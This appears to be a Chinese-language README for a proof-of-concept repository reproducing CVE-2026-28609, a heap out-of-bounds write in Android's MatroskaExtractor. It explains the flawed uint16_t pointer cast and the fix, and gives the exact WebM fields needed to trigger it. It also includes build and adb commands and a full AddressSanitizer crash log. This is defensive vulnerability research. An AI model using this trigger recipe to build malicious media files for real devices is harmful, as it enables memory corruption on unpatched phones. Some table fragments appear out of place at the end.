CVE-2026-28609 的概念验证与插桩复现测试框架,该漏洞是 Android MatroskaExtractor 中的一处越界写入,可通过带有大端 PCM 音轨的精心构造的 WebM 文件触发。
针对 CVE-2026-28609 的概念验证、插桩复现测试框架及技术 分析报告。该漏洞是 Android 的 MatroskaExtractor 中的一处越界写入, 可通过构造带有大端序 PCM 音轨的 WebM 文件触发。
frameworks/av/media/module/extractors/mkv/MatroskaExtractor.cppAndroid MatroskaExtractor 中的 MatroskaSource::read() 包含一个
PCM 大端序字节交换循环,该循环在加上 frame->range_offset()(一个字节偏移量)
之前,就将帧数据指针转换为 uint16_t *。
由于对 uint16_t * 进行 C 指针运算会将偏移量按
sizeof(uint16_t) = 2 缩放,因此得到的指针位于缓冲区起始位置之后
2 * range_offset 字节处,而非 range_offset 字节处。
当 range_offset > 0 时,该循环会读取并写入帧的 MediaBuffer
末尾之后的一个或多个字节。在没有 ASan 的设备上,
越界读取会静默成功,而越界写入会破坏缓冲区紧随其后的字节。
存在漏洞的代码行:
// MatroskaExtractor.cpp:1105 (pre-fix)
uint16_t *dstData = (uint16_t *)frame->data() + frame->range_offset();
uint16_t *srcData = (uint16_t *)frame->data() + frame->range_offset();
for (size_t i = 0; i < frame->range_length() / 2; i++) {
dstData[i] = ntohs(srcData[i]);
}
上游修复方案是在应用偏移量之前将指针转换为 uint8_t *:
uint16_t *data = (uint16_t *)((uint8_t *)frame->data() + frame->range_offset());
for (size_t i = 0; i < frame->range_length() / 2; i++) {
data[i] = ntohs(data[i]);
}
一个可运行、可复现的 CVE-2026-28609 触发程序,已在真实 Android 14 设备上 通过 AddressSanitizer 验证。本仓库包含:
range_offset 非零。dlopen 加载提取器插件,
调用 GETEXTRACTORDEF,并从文件中读取帧。在存在漏洞的设备上,结果如下:
==14927==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2 at 0x003c61ab3960 thread T0
#0 ... MatroskaSource::read(...) MatroskaExtractor.cpp:1113
0x003c61ab3961 is located 0 bytes after 65-byte region
存在漏洞的分支需要同时满足以下所有条件:
| 条件 | 来源 |
|---|---|
| 轨道为 PCM |
前三个条件通过声明编解码器 ID 为 A_PCM/INT/BIG、位深为 16 的轨道即可满足。
第四个条件才是关键所在。
range_offset 仅在 MatroskaSource::setWebmBlockCryptoInfo() 中被设置为非零值,
该函数在以下条件下由 readBlock() 调用:
if (err == OK && mExtractor->mIsWebm && trackInfo->mEncrypted) {
err = setWebmBlockCryptoInfo(mbuf);
}
因此,触发文件必须满足:
mIsWebm — EBML 的 DocType 元素必须为 "webm",而非
"matroska"。mEncrypted — 轨道必须声明 ContentEncodings,其中
ContentEncodingType = 1(加密)并带有 ContentEncKeyID。0x1)为 0,
表示该帧未加密但经过内容编码。这会进入
setWebmBlockCryptoInfo 的 else 分支,该分支调用 set_range(1, len - 1)。剥离之后,每个帧的 range_offset = 1。存在漏洞的分支随后
计算 (uint16_t *)data + 1,这会前进 2 个字节,
循环读取/写入字节 [2, 2 + range_length) —— 即越过 65 字节分配
(64 字节帧 + 1 字节信号)末尾一个字节。
+---------+------------------------------------+
| 0x00 | 64 bytes of frame data (0xAA...) |
+---------+------------------------------------+
signal PCM payload
信号字节 0x00 被 set_range(1, 64) 剥离,在 65 字节的分配中
留下一个 64 字节的帧。存在漏洞的指针运算随后在字节偏移 2 到 65 处写入。
.
├── README.md
├── LICENSE
├── .gitignore
│
├── exploit/
│ └── generator.py WebM generator + verifier
│
├── harness/
│ └── harness_c_abi.cpp dlopen-based trigger harness
│
└── scripts/
├── build.conf API level, sanitizer, RTTI flags
├── include_dirs.conf.sample Include roots template
├── build_foundation.sh Build the foundation archive
├── build_plugin.sh Build the extractor plugin
├── build_harness.sh Build the harness
└── run.sh End-to-end build + push + run
上游依赖项,由用户在构建前克隆:
av/ frameworks/av (AOSP)
libwebm/ external/libwebm (mkvparser)
flac/ external/flac
aosp-includes/ system/core, system/logging, system/libbase,
frameworks/native — header trees only
aosp-includes/libs/ libstagefright_foundation.so, libmedia.so,
libutils.so, libbinder.so, libcutils.so,
libbase.so, libmediandk.so, libstagefright_flacdec.so
— pulled from the target device
bash、python3、make 的 Linux 或 WSL2$ANDROID_NDK_HOME 设置adb 位于 PATH 中(Linux,或来自 WSL 的 adb.exe)mkdir -p deps && cd deps
# AOSP frameworks/av (contains the vulnerable extractor)
git clone --depth 1 -b android-14.0.0_r1 \
https://android.googlesource.com/platform/frameworks/av av
# libwebm (mkvparser)
git clone --depth 1 \
https://android.googlesource.com/platform/external/libwebm libwebm
# libFLAC
git clone --depth 1 \
https://android.googlesource.com/platform/external/flac flac
# AOSP header trees (no full checkout required)
mkdir -p aosp-includes
cd aosp-includes
for m in core libbase logging native; do
git clone --depth 1 \
"https://android.googlesource.com/platform/system/$m" "$m" 2>/dev/null || true
done
cd ../..
如果你的 AOSP 树使用模块化提取器布局
(av/media/module/extractors/mkv/),则无需进一步调整。
如果使用较旧的布局(av/media/libstagefright/matroska/),
请参阅构建脚本中的 MKV 变量。
mkdir -p deps/aosp-includes/libs
for lib in libstagefright_foundation.so libstagefright_flacdec.so \
libmedia.so libutils.so libbinder.so libcutils.so \
libbase.so libmediandk.so; do
adb pull "/system/lib64/$lib" deps/aosp-includes/libs/
done
cp scripts/include_dirs.conf.sample scripts/include_dirs.conf
cp scripts/build.conf.sample scripts/build.conf # if provided separately
$EDITOR scripts/build.conf
将 ANDROID_API 设置为与你的目标设备匹配(例如,Android 14 为 34)。
./scripts/run.sh
run.sh 脚本按顺序执行四个步骤:
build_foundation.sh — 将 av/media/module/foundation/ 和
av/media/module/metadatautils/ 中的 28 个源文件编译
为 plugin-asan/libstagefright_foundation_asan.a。build_plugin.sh — 编译 MatroskaExtractor.cpp、
mkvparser.cc、mkvreader.cc,并将它们与该归档链接
为 libmkvextractor_asan.so。build_harness.sh — 使用 -shared-libsan 编译 harness_c_abi。poc.mkv 推送到
/data/local/tmp 并运行测试框架。构建脚本会自动发现缺失的包含根目录。当编译器
报告 fatal error: 'X' file not found 时,脚本会
搜索依赖树,找到 X 的父目录,并将其追加到
include_dirs.conf。这就是为什么 include_dirs.conf 在首次构建期间
会增长。一旦所有头文件都被发现,该文件就会稳定下来,
后续构建将是确定性的。
在存在漏洞的设备上,测试框架会产生:
[+] loaded /data/local/tmp/libmkvextractor_asan.so
[+] plugin: Matroska Extractor uuid[0..3]=abbedd92 version=1 api=3
[+] sniffer confidence = 0.600
[+] tracks: 1
[*] track 0: start
[PCM] be=1 bpf=16 off=1 len=64 data=0x3c61ab3920
=================================================================
==14927==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x003c61ab3960 at pc 0x0071ecb0ec4c bp 0x007fe7ae1710 sp 0x007fe7ae1708
READ of size 2 at 0x003c61ab3960 thread T0
#0 0x71ecb0ec48 (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
#1 0x71ecb180c8 (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
#2 0x5861ac1ed0 (/data/local/tmp/harness_c_abi+0x3ed0)
#3 0x7279cf15b8 (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
0x003c61ab3961 is located 0 bytes after 65-byte region [0x003c61ab3920,0x003c61ab3961)
allocated by thread T0 here:
#0 0x727c507668 (/data/local/tmp/libclang_rt.asan-aarch64-android.so+0xe4668) (BuildId: 163b9ff057b95542705e47bbc20f6f2ca91c5f58)
#1 0x5861ac26c0 (/data/local/tmp/harness_c_abi+0x46c0)
#2 0x71ecb15e7c (/data/local/tmp/libmkvextractor_asan.so+0xbee7c)
#3 0x71ecb0b50c (/data/local/tmp/libmkvextractor_asan.so+0xb450c)
#4 0x71ecb0d96c (/data/local/tmp/libmkvextractor_asan.so+0xb696c)
#5 0x71ecb180c8 (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
#6 0x5861ac1ed0 (/data/local/tmp/harness_c_abi+0x3ed0)
#7 0x7279cf15b8 (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
#8 0x5861ac15f4 (/data/local/tmp/harness_c_abi+0x35f4)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
Shadow bytes around the buggy address:
0x003c61ab3680: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fa fa
0x003c61ab3700: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
0x003c61ab3780: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
0x003c61ab3800: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 fa fa
0x003c61ab3880: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
=>0x003c61ab3900: fa fa fa fa 00 00 00 00 00 00 00 00[01]fa fa fa
0x003c61ab3980: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3a00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3a80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3b00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3b80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==14927==ABORTING
Aborted
三个数字确认了触发:
WRITE of size 2(或 READ,当 ASan 先捕获到
data[i] = ntohs(data[i]) 的读取部分时)65-byte region — 帧分配为 64 个数据字节加上
1 字节加密信号0 bytes after — 访问落在分配之后的第一个字节上setWebmBlockCryptoInfo 中的分区加密路径
(信号字节 0x03),本生成器未涉及该路径。/data/local/tmp 之外的任何内容都不会被
触碰。插件仅由测试框架进程加载。生成器内嵌了一个验证器。推送前请运行:
python3 exploit/generator.py poc.mkv
预期输出:
[verify] OK - webm DocType + Encryption ContentEncoding will
[verify] cause readBlock to strip the 1-byte signal via
[verify] set_range(1, len-1), setting range_offset=1
[verify] on every PCM frame. The uint16_t* cast in the
[verify] vulnerable branch then writes 2 bytes past the
[verify] end of the 64-byte frame buffer.
每个必需字段都会被检查:DocType、TrackType、CodecID、
BitDepth、Channels、ContentEncodingType、ContentEncodingScope、
ContentEncAlgo 和 ContentEncKeyID。如果任何字段有误,
生成器会以 FAIL 退出并打印具体的不匹配项。
| 日期 | 事件 |
|---|---|
| 2026-03-02 | Google 预留 CVE |
| 2026-09-08 | 在 Android 安全公告中公开披露 |
| 2026-09-09 | 修复合并到 LineageOS lineage-20.0(变更 497992) |
| 2026-09 | 本 PoC 开发并针对真实设备验证 |
本仓库严格出于防御性安全研究和漏洞验证的目的发布。 其目标受众为:
请勿在您不拥有或未获得明确书面授权测试的设备上使用此代码。 在非您所有的设备上运行测试框架,或使用生成器生成用于分发的 触发文件,可能违反您所在司法管辖区的计算机滥用法以及 GitHub 的 可接受使用政策。
作者不纵容将本研究用于恶意目的。生成器产生的触发文件 旨在使特定函数在 AddressSanitizer 下崩溃;它不包含可执行 载荷,不修改系统,也不会在测试框架进程之外持久化。
不提供任何担保。 代码按原样提供。作者对因误用或在生产硬件上 运行测试框架而造成的损害不承担任何责任。
如果您是厂商,并认为本仓库包含应根据协调披露流程处理的材料, 请提交 issue,作者将在 72 小时内回复。
本项目在 Apache-2.0 许可证下发布。完整文本请参见 LICENSE。
版权所有 © 2026 — CVE-2026-28609 PoC 贡献者。
克隆后将其重命名为 include_dirs.conf。这是种子文件。构建脚本会在首次运行时扩展它。
# include_dirs.conf
#
# Include directories for the CVE-2026-28609 plugin and harness builds.
# One path per line. Blank lines and lines starting with '#' are ignored.
# $ROOT expands to the project root (the directory containing scripts/).
#
# The build scripts extend this file automatically when they discover
# the parent directory of a missing header. Commit the extended version
# if you want reproducible builds.
$ROOT/av/include
$ROOT/av/media/ndk/include
$ROOT/av/media/libstagefright/include
$ROOT/av/media/module/foundation/include
$ROOT/av/media/module/extractors/mkv/include
$ROOT/av/media/module/codecs/flac/dec
$ROOT/libwebm
$ROOT/libwebm/mkvparser
$ROOT/flac/include
$ROOT/aosp-includes/core/libutils/include
$ROOT/aosp-includes/core/libcutils/include
$ROOT/aosp-includes/core/libcutils/include_outside_system
$ROOT/aosp-includes/core/include
$ROOT/aosp-includes/core/libsystem/include
$ROOT/aosp-includes/libbase/include
$ROOT/aosp-includes/native/include
$ROOT/aosp-includes/native/libs/binder/include
$ROOT/aosp-includes/native/libs/ui/include
$ROOT/aosp-includes/logging/liblog/include
scripts/build.conf.sample克隆后重命名为 build.conf。
# build.conf — build configuration for CVE-2026-28609 PoC
# Android API level. Must be >= 29. Match your target device.
ANDROID_API=34
# Enable AddressSanitizer.
ENABLE_ASAN=1
# Debug flags.
OPT_FLAGS="-O1 -g -fno-omit-frame-pointer"
# Match AOSP's libutils / libmedia / libstagefright build flags.
# Set to 1 unless you have a specific reason not to.
DISABLE_RTTI=1
DISABLE_EXCEPT
IONS=1
mType == PCM |
| 大端序 | AMEDIAFORMAT_KEY_PCM_BIG_ENDIAN == 1 |
| 16 位采样 | AMEDIAFORMAT_KEY_BITS_PER_SAMPLE == 16 |
帧具有非零 range_offset | 由 set_range(offset, ...) 设置 |